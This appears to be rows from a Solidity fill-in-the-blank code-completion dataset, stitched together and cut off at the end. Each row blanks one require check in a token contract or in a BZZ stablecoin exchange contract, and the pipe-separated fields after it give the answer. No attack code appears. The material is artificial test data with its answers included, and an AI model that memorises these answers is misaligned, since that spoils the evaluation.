modifier lockTheSwap {
}
constructor(address wowWallet) Ownable(msg.sender) {
}
function createWowTrade() external onlyOwner {
}
function enableWowTrade() public onlyOwner {
require(<FILL_ME>)
TradingOpen = true;
feeEnabled = true;
swapEnabled = true;
}
function name() external pure override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function decimals() external pure override returns (uint8) {
}
function symbol() external pure override returns (string memory) {
}
function getOwner() external view override returns (address) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isTakeFees(address sender) internal view returns (bool) {
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function inSwapWow(bool takeFee , uint actions, uint256 amount) internal view returns (bool) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
/**
Internal functions
**/
function takeAmountAfterFees(uint action, bool takefee, uint256 amounts)
internal
returns (uint256)
{
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function _transferTokens(
address sender,
address recipient,
uint256 rAmount,
bool takeFee,
uint action
) private {
}
function swapBackWowEth(uint256 amount) private lockTheSwap {
}
function removeWowLimit() external onlyOwner returns (bool) {
}
function withdrawDustEthBalance() external onlyOwner {
}
receive() external payable {
}
}
| !TradingOpen,"trading is already open" | 69,184 | !TradingOpen |
"exchange/v3-pool/invalid" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
import "solmate/auth/Owned.sol";
import "solmate/tokens/ERC20.sol";
import "solmate/utils/SafeTransferLib.sol";
import "makerdao/dss/DaiAbstract.sol";
import "makerdao/dss/PsmAbstract.sol";
import "makerdao/dss/GemJoinAbstract.sol";
import "univ3/interfaces/IUniswapV3Pool.sol";
import "univ3/interfaces/callback/IUniswapV3SwapCallback.sol";
import {I3PoolCurve} from "./interfaces/I3PoolCurve.sol";
import {IBondingCurve} from "./interfaces/IBondingCurve.sol";
import {IForeignBridge} from "./interfaces/IForeignBridge.sol";
enum Stablecoin {
DAI,
USDC,
USDT
}
enum LiquidityProvider {
NONE,
DAI_PSM,
CURVE_FI_3POOL,
UNISWAP_V3
}
struct BuyParams {
// the amount of bzz to buy
uint256 bzzAmount;
// the maximum amount of stablecoin (in native stablecoin decimals) to pay for `bzzAmount`
uint256 maxStablecoinAmount;
// the stablecoin to use for payment
Stablecoin inputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
// options as a byte
// bit 0: whether to use permit
// bit 1: whether to use the bridge
// therefore options = 1 means use permit, options = 2 means use bridge, options = 3 means use both
uint256 options;
// the data for the permit and/or bridge
bytes data;
}
struct SellParams {
// the amount of bzz to sell
uint256 bzzAmount;
// the minimum amount of stablecoin to receive for `bzzAmount`
uint256 minStablecoinAmount;
// which stablecoin to sell to
Stablecoin outputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
}
contract Exchange is Owned, IUniswapV3SwapCallback {
using SafeTransferLib for ERC20;
// --- constants
// maximum fee is hardcoded at 100 basis points (1%)
uint256 public constant MAX_FEE = 100;
/// @dev the conversion rate from 6 decimals to 18 decimals (USDC/USDT to DAI)
uint256 internal constant TO_DAI = 1000000000000;
/// @notice Uniswap V3 pool constants from TickMath
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// --- immutables
// tokens that are processed in this exchange
ERC20 private immutable dai;
ERC20 private immutable bzz;
ERC20 private immutable usdc;
ERC20 private immutable usdt;
// the bonding curve we use for exchanging dai <--> bzz
IBondingCurve public immutable bc;
// the curve.fi 3pool we use for exchanging dai <--> usdc/usdt
I3PoolCurve public immutable curveFi3Pool;
// the uniswap v3 pool we use for exchanging usdc <--> dai
IUniswapV3Pool public immutable usdcV3Pool;
IUniswapV3Pool public immutable usdtV3Pool;
// the foreign bridge we use for relaying tokens
IForeignBridge public immutable bridge;
// the dai psm contract (this comes in handy when moving large amounts of usdc)
PsmAbstract public immutable psm;
// --- state
uint256 public fee;
constructor(
address owner,
address _bc,
address _curveFi3Pool,
address _usdcUniswapV3Pool,
address _usdtUniswapV3Pool,
address _psm,
address _bridge,
uint256 _fee
) Owned(owner) {
require(_fee <= MAX_FEE, "fee/too-high");
// the bonding curve that we are going to use
bc = IBondingCurve(_bc);
// the curve.fi 3pool that we are going to use
curveFi3Pool = I3PoolCurve(_curveFi3Pool);
// the amb (arbitrary message bridge) for relaying tokens
bridge = IForeignBridge(_bridge);
// the dai psm contract
psm = PsmAbstract(_psm);
// the uniswap v3 pool that we are going to use
usdcV3Pool = IUniswapV3Pool(_usdcUniswapV3Pool);
usdtV3Pool = IUniswapV3Pool(_usdtUniswapV3Pool);
// these are the tokens that we are exchanging on the bonding curve
bzz = ERC20(bc.bondedToken());
dai = ERC20(bc.collateralToken());
// other tokens that we can exchange on the curve.fi curve
usdc = ERC20(curveFi3Pool.coins(1));
require(<FILL_ME>)
usdt = ERC20(curveFi3Pool.coins(2));
require(usdtV3Pool.token0() == address(dai) && usdtV3Pool.token1() == address(usdt), "exchange/v3-pool/invalid");
/// @notice pre-approve the bonding curve for unlimited approval of the exchange's bzz and dai
dai.approve(address(bc), type(uint256).max);
bzz.approve(address(bc), type(uint256).max);
/// @notice pre-approve the curve.fi 3pool for unlimited approval of the exchange's dai, usdc and usdt
dai.approve(address(curveFi3Pool), type(uint256).max);
usdc.approve(address(curveFi3Pool), type(uint256).max);
// have to use the safeApprove function because the usdt token has a non-standard approve function 🤮
usdt.safeApprove(address(curveFi3Pool), type(uint256).max);
/// @notice there is no need to pre-approve uniswap v3 pools as these transactions
// are done using callbacks
/// @notice pre-approve the bridge for unlimited spending approval of the exchange's bzz tokens
/// @dev this may be a security risk if the bridge is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
bzz.approve(address(bridge), type(uint256).max);
/// @notice pre-approve the dai psm gemjoiner for unlimited spending approval of the exchange's usdc tokens
/// @dev this may be a security risk if the psm is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
require(address(usdc) == GemJoinAbstract(psm.gemJoin()).gem(), "psm/gem-mismatch");
dai.approve(address(psm), type(uint256).max);
usdc.approve(address(psm.gemJoin()), type(uint256).max);
// what fee we should collect (maximum hardcoded at 100bps, ie. 1%)
fee = _fee;
}
// --- ADMINISTRATION ---
/// @dev All functions in this section MUST have the onlyOwner modifier
/// Allow configuration of uint256 variables after contract deployment, respecting maximums.
/// @param _fee the fee to set for the exchange
function setFee(uint256 _fee) external onlyOwner {
}
/// Sweeper function for any ERC20 tokens accidentally sent to the contract
/// @notice this function will send the ERC20 tokens to the owner of the contract
/// @param token the address of the token to sweep
/// @param wad amount of ERC20 tokens to send to owner
function sweep(ERC20 token, uint256 wad) external onlyOwner {
}
// --- EXCHANGE ---
/// The exchange allows for buying / selling BZZ from/to stablecoins
///
/// BZZ market: Bonding Curve (BZZ <--> DAI)
/// Stablecoin markets:
/// a. Curve.fi 3pool (DAI <--> USDC/USDT)
/// b. Uniswap V3 (DAI <--> USDC/USDT)
/// c. DAI PSM (DAI <--> USDC)
/// Buy BZZ with a stablecoin
/// @param _buyParams the parameters for the buy transaction
/// @return totalCost in stablecoin of the transaction
function buy(BuyParams calldata _buyParams) external returns (uint256 totalCost) {
}
/// Sell BZZ for a stablecoin
/// @param _sellParams the parameters for the sell transaction
/// @return amount in stablecoin of the transaction
function sell(SellParams calldata _sellParams) external returns (uint256 amount) {
}
// --- helpers
/// Route from dai <--> usdc/usdt using various liquidity pools
/// @param lp the liquidity pool to use
/// @param wad the amount of the stablecoin to exchange (in the stablecoin decimals)
/// @param toDai if true, we are converting from stablecoin to dai, otherwise we are converting from dai to stablecoin
/// @param gem the non-dai stablecoin address
/// @return output the amount of stablecoin received (in the stablecoin decimals)
function _daiRouter(LiquidityProvider lp, uint256 wad, bool toDai, address gem) internal returns (uint256 output) {
}
/// Curve fi 3pool routing
/// @param wad the amount of the stablecoin to swap
/// @param toDai whether we are going to dai or from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _curveFi3PoolRouter(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// Uniswap V3 routing for dai/usdc and dai/usdt pools
/// @param wad the amount of the stablecoin to swap
/// @param toDai true if we are going to dai, false if we are going from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _uniswapV3Router(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// DAI PSM router
/// @notice the DAI PSM router only supports dai <--> usdc so no need for the gem param
/// @dev this function will handle the routing of dai <--> usdc via the dai psm
/// @param wad the amount of dai or usdc to exchange
/// @param toDai true if we are going to dai, false if we are going from dai
/// @return uint256 the amount of the destination coin received
function _daiPsmRouter(uint256 wad, bool toDai) internal returns (uint256) {
}
/// Move tokens from an address to another
/// @param token the token to move
/// @param from the address to move from
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address from, address to, uint256 amount) internal {
}
/// Move tokens to an address
/// @param token the token to move
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address to, uint256 amount) internal {
}
/// Get the balance of a token for an address
/// @param token the token to get the balance of
/// @param addr the address to get the balance of
/// @return uint256 the balance of the token for the address
function _balance(address token, address addr) internal view returns (uint256) {
}
/// Permit handler for dai and usdc
/// @param _sc the stablecoin whose permit we are handling
/// @param _pp the permit parameters
/// @dev this function is used to handle the permit signatures for dai and usdc
function _permit(Stablecoin _sc, bytes memory _pp) internal {
}
/// --- callbacks
/// Uniswap V3 swap callback to transfer tokens.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call.
/// In this implementation, assumes that the pool key and a minimum receive amount
/// are passed via `data` to save on external calls.
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
}
}
| usdcV3Pool.token0()==address(dai)&&usdcV3Pool.token1()==address(usdc),"exchange/v3-pool/invalid" | 69,212 | usdcV3Pool.token0()==address(dai)&&usdcV3Pool.token1()==address(usdc) |
"exchange/v3-pool/invalid" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
import "solmate/auth/Owned.sol";
import "solmate/tokens/ERC20.sol";
import "solmate/utils/SafeTransferLib.sol";
import "makerdao/dss/DaiAbstract.sol";
import "makerdao/dss/PsmAbstract.sol";
import "makerdao/dss/GemJoinAbstract.sol";
import "univ3/interfaces/IUniswapV3Pool.sol";
import "univ3/interfaces/callback/IUniswapV3SwapCallback.sol";
import {I3PoolCurve} from "./interfaces/I3PoolCurve.sol";
import {IBondingCurve} from "./interfaces/IBondingCurve.sol";
import {IForeignBridge} from "./interfaces/IForeignBridge.sol";
enum Stablecoin {
DAI,
USDC,
USDT
}
enum LiquidityProvider {
NONE,
DAI_PSM,
CURVE_FI_3POOL,
UNISWAP_V3
}
struct BuyParams {
// the amount of bzz to buy
uint256 bzzAmount;
// the maximum amount of stablecoin (in native stablecoin decimals) to pay for `bzzAmount`
uint256 maxStablecoinAmount;
// the stablecoin to use for payment
Stablecoin inputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
// options as a byte
// bit 0: whether to use permit
// bit 1: whether to use the bridge
// therefore options = 1 means use permit, options = 2 means use bridge, options = 3 means use both
uint256 options;
// the data for the permit and/or bridge
bytes data;
}
struct SellParams {
// the amount of bzz to sell
uint256 bzzAmount;
// the minimum amount of stablecoin to receive for `bzzAmount`
uint256 minStablecoinAmount;
// which stablecoin to sell to
Stablecoin outputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
}
contract Exchange is Owned, IUniswapV3SwapCallback {
using SafeTransferLib for ERC20;
// --- constants
// maximum fee is hardcoded at 100 basis points (1%)
uint256 public constant MAX_FEE = 100;
/// @dev the conversion rate from 6 decimals to 18 decimals (USDC/USDT to DAI)
uint256 internal constant TO_DAI = 1000000000000;
/// @notice Uniswap V3 pool constants from TickMath
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// --- immutables
// tokens that are processed in this exchange
ERC20 private immutable dai;
ERC20 private immutable bzz;
ERC20 private immutable usdc;
ERC20 private immutable usdt;
// the bonding curve we use for exchanging dai <--> bzz
IBondingCurve public immutable bc;
// the curve.fi 3pool we use for exchanging dai <--> usdc/usdt
I3PoolCurve public immutable curveFi3Pool;
// the uniswap v3 pool we use for exchanging usdc <--> dai
IUniswapV3Pool public immutable usdcV3Pool;
IUniswapV3Pool public immutable usdtV3Pool;
// the foreign bridge we use for relaying tokens
IForeignBridge public immutable bridge;
// the dai psm contract (this comes in handy when moving large amounts of usdc)
PsmAbstract public immutable psm;
// --- state
uint256 public fee;
constructor(
address owner,
address _bc,
address _curveFi3Pool,
address _usdcUniswapV3Pool,
address _usdtUniswapV3Pool,
address _psm,
address _bridge,
uint256 _fee
) Owned(owner) {
require(_fee <= MAX_FEE, "fee/too-high");
// the bonding curve that we are going to use
bc = IBondingCurve(_bc);
// the curve.fi 3pool that we are going to use
curveFi3Pool = I3PoolCurve(_curveFi3Pool);
// the amb (arbitrary message bridge) for relaying tokens
bridge = IForeignBridge(_bridge);
// the dai psm contract
psm = PsmAbstract(_psm);
// the uniswap v3 pool that we are going to use
usdcV3Pool = IUniswapV3Pool(_usdcUniswapV3Pool);
usdtV3Pool = IUniswapV3Pool(_usdtUniswapV3Pool);
// these are the tokens that we are exchanging on the bonding curve
bzz = ERC20(bc.bondedToken());
dai = ERC20(bc.collateralToken());
// other tokens that we can exchange on the curve.fi curve
usdc = ERC20(curveFi3Pool.coins(1));
require(usdcV3Pool.token0() == address(dai) && usdcV3Pool.token1() == address(usdc), "exchange/v3-pool/invalid");
usdt = ERC20(curveFi3Pool.coins(2));
require(<FILL_ME>)
/// @notice pre-approve the bonding curve for unlimited approval of the exchange's bzz and dai
dai.approve(address(bc), type(uint256).max);
bzz.approve(address(bc), type(uint256).max);
/// @notice pre-approve the curve.fi 3pool for unlimited approval of the exchange's dai, usdc and usdt
dai.approve(address(curveFi3Pool), type(uint256).max);
usdc.approve(address(curveFi3Pool), type(uint256).max);
// have to use the safeApprove function because the usdt token has a non-standard approve function 🤮
usdt.safeApprove(address(curveFi3Pool), type(uint256).max);
/// @notice there is no need to pre-approve uniswap v3 pools as these transactions
// are done using callbacks
/// @notice pre-approve the bridge for unlimited spending approval of the exchange's bzz tokens
/// @dev this may be a security risk if the bridge is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
bzz.approve(address(bridge), type(uint256).max);
/// @notice pre-approve the dai psm gemjoiner for unlimited spending approval of the exchange's usdc tokens
/// @dev this may be a security risk if the psm is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
require(address(usdc) == GemJoinAbstract(psm.gemJoin()).gem(), "psm/gem-mismatch");
dai.approve(address(psm), type(uint256).max);
usdc.approve(address(psm.gemJoin()), type(uint256).max);
// what fee we should collect (maximum hardcoded at 100bps, ie. 1%)
fee = _fee;
}
// --- ADMINISTRATION ---
/// @dev All functions in this section MUST have the onlyOwner modifier
/// Allow configuration of uint256 variables after contract deployment, respecting maximums.
/// @param _fee the fee to set for the exchange
function setFee(uint256 _fee) external onlyOwner {
}
/// Sweeper function for any ERC20 tokens accidentally sent to the contract
/// @notice this function will send the ERC20 tokens to the owner of the contract
/// @param token the address of the token to sweep
/// @param wad amount of ERC20 tokens to send to owner
function sweep(ERC20 token, uint256 wad) external onlyOwner {
}
// --- EXCHANGE ---
/// The exchange allows for buying / selling BZZ from/to stablecoins
///
/// BZZ market: Bonding Curve (BZZ <--> DAI)
/// Stablecoin markets:
/// a. Curve.fi 3pool (DAI <--> USDC/USDT)
/// b. Uniswap V3 (DAI <--> USDC/USDT)
/// c. DAI PSM (DAI <--> USDC)
/// Buy BZZ with a stablecoin
/// @param _buyParams the parameters for the buy transaction
/// @return totalCost in stablecoin of the transaction
function buy(BuyParams calldata _buyParams) external returns (uint256 totalCost) {
}
/// Sell BZZ for a stablecoin
/// @param _sellParams the parameters for the sell transaction
/// @return amount in stablecoin of the transaction
function sell(SellParams calldata _sellParams) external returns (uint256 amount) {
}
// --- helpers
/// Route from dai <--> usdc/usdt using various liquidity pools
/// @param lp the liquidity pool to use
/// @param wad the amount of the stablecoin to exchange (in the stablecoin decimals)
/// @param toDai if true, we are converting from stablecoin to dai, otherwise we are converting from dai to stablecoin
/// @param gem the non-dai stablecoin address
/// @return output the amount of stablecoin received (in the stablecoin decimals)
function _daiRouter(LiquidityProvider lp, uint256 wad, bool toDai, address gem) internal returns (uint256 output) {
}
/// Curve fi 3pool routing
/// @param wad the amount of the stablecoin to swap
/// @param toDai whether we are going to dai or from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _curveFi3PoolRouter(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// Uniswap V3 routing for dai/usdc and dai/usdt pools
/// @param wad the amount of the stablecoin to swap
/// @param toDai true if we are going to dai, false if we are going from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _uniswapV3Router(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// DAI PSM router
/// @notice the DAI PSM router only supports dai <--> usdc so no need for the gem param
/// @dev this function will handle the routing of dai <--> usdc via the dai psm
/// @param wad the amount of dai or usdc to exchange
/// @param toDai true if we are going to dai, false if we are going from dai
/// @return uint256 the amount of the destination coin received
function _daiPsmRouter(uint256 wad, bool toDai) internal returns (uint256) {
}
/// Move tokens from an address to another
/// @param token the token to move
/// @param from the address to move from
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address from, address to, uint256 amount) internal {
}
/// Move tokens to an address
/// @param token the token to move
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address to, uint256 amount) internal {
}
/// Get the balance of a token for an address
/// @param token the token to get the balance of
/// @param addr the address to get the balance of
/// @return uint256 the balance of the token for the address
function _balance(address token, address addr) internal view returns (uint256) {
}
/// Permit handler for dai and usdc
/// @param _sc the stablecoin whose permit we are handling
/// @param _pp the permit parameters
/// @dev this function is used to handle the permit signatures for dai and usdc
function _permit(Stablecoin _sc, bytes memory _pp) internal {
}
/// --- callbacks
/// Uniswap V3 swap callback to transfer tokens.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call.
/// In this implementation, assumes that the pool key and a minimum receive amount
/// are passed via `data` to save on external calls.
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
}
}
| usdtV3Pool.token0()==address(dai)&&usdtV3Pool.token1()==address(usdt),"exchange/v3-pool/invalid" | 69,212 | usdtV3Pool.token0()==address(dai)&&usdtV3Pool.token1()==address(usdt) |
"psm/gem-mismatch" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
import "solmate/auth/Owned.sol";
import "solmate/tokens/ERC20.sol";
import "solmate/utils/SafeTransferLib.sol";
import "makerdao/dss/DaiAbstract.sol";
import "makerdao/dss/PsmAbstract.sol";
import "makerdao/dss/GemJoinAbstract.sol";
import "univ3/interfaces/IUniswapV3Pool.sol";
import "univ3/interfaces/callback/IUniswapV3SwapCallback.sol";
import {I3PoolCurve} from "./interfaces/I3PoolCurve.sol";
import {IBondingCurve} from "./interfaces/IBondingCurve.sol";
import {IForeignBridge} from "./interfaces/IForeignBridge.sol";
enum Stablecoin {
DAI,
USDC,
USDT
}
enum LiquidityProvider {
NONE,
DAI_PSM,
CURVE_FI_3POOL,
UNISWAP_V3
}
struct BuyParams {
// the amount of bzz to buy
uint256 bzzAmount;
// the maximum amount of stablecoin (in native stablecoin decimals) to pay for `bzzAmount`
uint256 maxStablecoinAmount;
// the stablecoin to use for payment
Stablecoin inputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
// options as a byte
// bit 0: whether to use permit
// bit 1: whether to use the bridge
// therefore options = 1 means use permit, options = 2 means use bridge, options = 3 means use both
uint256 options;
// the data for the permit and/or bridge
bytes data;
}
struct SellParams {
// the amount of bzz to sell
uint256 bzzAmount;
// the minimum amount of stablecoin to receive for `bzzAmount`
uint256 minStablecoinAmount;
// which stablecoin to sell to
Stablecoin outputCoin;
// the liquidity provider to use for payment
LiquidityProvider lp;
}
contract Exchange is Owned, IUniswapV3SwapCallback {
using SafeTransferLib for ERC20;
// --- constants
// maximum fee is hardcoded at 100 basis points (1%)
uint256 public constant MAX_FEE = 100;
/// @dev the conversion rate from 6 decimals to 18 decimals (USDC/USDT to DAI)
uint256 internal constant TO_DAI = 1000000000000;
/// @notice Uniswap V3 pool constants from TickMath
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// --- immutables
// tokens that are processed in this exchange
ERC20 private immutable dai;
ERC20 private immutable bzz;
ERC20 private immutable usdc;
ERC20 private immutable usdt;
// the bonding curve we use for exchanging dai <--> bzz
IBondingCurve public immutable bc;
// the curve.fi 3pool we use for exchanging dai <--> usdc/usdt
I3PoolCurve public immutable curveFi3Pool;
// the uniswap v3 pool we use for exchanging usdc <--> dai
IUniswapV3Pool public immutable usdcV3Pool;
IUniswapV3Pool public immutable usdtV3Pool;
// the foreign bridge we use for relaying tokens
IForeignBridge public immutable bridge;
// the dai psm contract (this comes in handy when moving large amounts of usdc)
PsmAbstract public immutable psm;
// --- state
uint256 public fee;
constructor(
address owner,
address _bc,
address _curveFi3Pool,
address _usdcUniswapV3Pool,
address _usdtUniswapV3Pool,
address _psm,
address _bridge,
uint256 _fee
) Owned(owner) {
require(_fee <= MAX_FEE, "fee/too-high");
// the bonding curve that we are going to use
bc = IBondingCurve(_bc);
// the curve.fi 3pool that we are going to use
curveFi3Pool = I3PoolCurve(_curveFi3Pool);
// the amb (arbitrary message bridge) for relaying tokens
bridge = IForeignBridge(_bridge);
// the dai psm contract
psm = PsmAbstract(_psm);
// the uniswap v3 pool that we are going to use
usdcV3Pool = IUniswapV3Pool(_usdcUniswapV3Pool);
usdtV3Pool = IUniswapV3Pool(_usdtUniswapV3Pool);
// these are the tokens that we are exchanging on the bonding curve
bzz = ERC20(bc.bondedToken());
dai = ERC20(bc.collateralToken());
// other tokens that we can exchange on the curve.fi curve
usdc = ERC20(curveFi3Pool.coins(1));
require(usdcV3Pool.token0() == address(dai) && usdcV3Pool.token1() == address(usdc), "exchange/v3-pool/invalid");
usdt = ERC20(curveFi3Pool.coins(2));
require(usdtV3Pool.token0() == address(dai) && usdtV3Pool.token1() == address(usdt), "exchange/v3-pool/invalid");
/// @notice pre-approve the bonding curve for unlimited approval of the exchange's bzz and dai
dai.approve(address(bc), type(uint256).max);
bzz.approve(address(bc), type(uint256).max);
/// @notice pre-approve the curve.fi 3pool for unlimited approval of the exchange's dai, usdc and usdt
dai.approve(address(curveFi3Pool), type(uint256).max);
usdc.approve(address(curveFi3Pool), type(uint256).max);
// have to use the safeApprove function because the usdt token has a non-standard approve function 🤮
usdt.safeApprove(address(curveFi3Pool), type(uint256).max);
/// @notice there is no need to pre-approve uniswap v3 pools as these transactions
// are done using callbacks
/// @notice pre-approve the bridge for unlimited spending approval of the exchange's bzz tokens
/// @dev this may be a security risk if the bridge is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
bzz.approve(address(bridge), type(uint256).max);
/// @notice pre-approve the dai psm gemjoiner for unlimited spending approval of the exchange's usdc tokens
/// @dev this may be a security risk if the psm is hacked, and could subsequently drain
/// any fees that this contract may have accumulated, though this motivates the owners
/// to regularly sweep tokens from the exchange that have accumulated as fees
require(<FILL_ME>)
dai.approve(address(psm), type(uint256).max);
usdc.approve(address(psm.gemJoin()), type(uint256).max);
// what fee we should collect (maximum hardcoded at 100bps, ie. 1%)
fee = _fee;
}
// --- ADMINISTRATION ---
/// @dev All functions in this section MUST have the onlyOwner modifier
/// Allow configuration of uint256 variables after contract deployment, respecting maximums.
/// @param _fee the fee to set for the exchange
function setFee(uint256 _fee) external onlyOwner {
}
/// Sweeper function for any ERC20 tokens accidentally sent to the contract
/// @notice this function will send the ERC20 tokens to the owner of the contract
/// @param token the address of the token to sweep
/// @param wad amount of ERC20 tokens to send to owner
function sweep(ERC20 token, uint256 wad) external onlyOwner {
}
// --- EXCHANGE ---
/// The exchange allows for buying / selling BZZ from/to stablecoins
///
/// BZZ market: Bonding Curve (BZZ <--> DAI)
/// Stablecoin markets:
/// a. Curve.fi 3pool (DAI <--> USDC/USDT)
/// b. Uniswap V3 (DAI <--> USDC/USDT)
/// c. DAI PSM (DAI <--> USDC)
/// Buy BZZ with a stablecoin
/// @param _buyParams the parameters for the buy transaction
/// @return totalCost in stablecoin of the transaction
function buy(BuyParams calldata _buyParams) external returns (uint256 totalCost) {
}
/// Sell BZZ for a stablecoin
/// @param _sellParams the parameters for the sell transaction
/// @return amount in stablecoin of the transaction
function sell(SellParams calldata _sellParams) external returns (uint256 amount) {
}
// --- helpers
/// Route from dai <--> usdc/usdt using various liquidity pools
/// @param lp the liquidity pool to use
/// @param wad the amount of the stablecoin to exchange (in the stablecoin decimals)
/// @param toDai if true, we are converting from stablecoin to dai, otherwise we are converting from dai to stablecoin
/// @param gem the non-dai stablecoin address
/// @return output the amount of stablecoin received (in the stablecoin decimals)
function _daiRouter(LiquidityProvider lp, uint256 wad, bool toDai, address gem) internal returns (uint256 output) {
}
/// Curve fi 3pool routing
/// @param wad the amount of the stablecoin to swap
/// @param toDai whether we are going to dai or from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _curveFi3PoolRouter(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// Uniswap V3 routing for dai/usdc and dai/usdt pools
/// @param wad the amount of the stablecoin to swap
/// @param toDai true if we are going to dai, false if we are going from dai
/// @param gem the address of the stablecoin we are swapping to / from dai
/// @return uint256 the amount of the destination coin received
function _uniswapV3Router(uint256 wad, bool toDai, address gem) internal returns (uint256) {
}
/// DAI PSM router
/// @notice the DAI PSM router only supports dai <--> usdc so no need for the gem param
/// @dev this function will handle the routing of dai <--> usdc via the dai psm
/// @param wad the amount of dai or usdc to exchange
/// @param toDai true if we are going to dai, false if we are going from dai
/// @return uint256 the amount of the destination coin received
function _daiPsmRouter(uint256 wad, bool toDai) internal returns (uint256) {
}
/// Move tokens from an address to another
/// @param token the token to move
/// @param from the address to move from
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address from, address to, uint256 amount) internal {
}
/// Move tokens to an address
/// @param token the token to move
/// @param to the address to move to
/// @param amount the amount to move
function _move(ERC20 token, address to, uint256 amount) internal {
}
/// Get the balance of a token for an address
/// @param token the token to get the balance of
/// @param addr the address to get the balance of
/// @return uint256 the balance of the token for the address
function _balance(address token, address addr) internal view returns (uint256) {
}
/// Permit handler for dai and usdc
/// @param _sc the stablecoin whose permit we are handling
/// @param _pp the permit parameters
/// @dev this function is used to handle the permit signatures for dai and usdc
function _permit(Stablecoin _sc, bytes memory _pp) internal {
}
/// --- callbacks
/// Uniswap V3 swap callback to transfer tokens.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received
/// (positive) by the pool by the end of the swap. If positive, the
/// callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call.
/// In this implementation, assumes that the pool key and a minimum receive amount
/// are passed via `data` to save on external calls.
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
}
}
| address(usdc)==GemJoinAbstract(psm.gemJoin()).gem(),"psm/gem-mismatch" | 69,212 | address(usdc)==GemJoinAbstract(psm.gemJoin()).gem() |
"exchange/slippage" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
import "solmate/auth/Owned.sol";
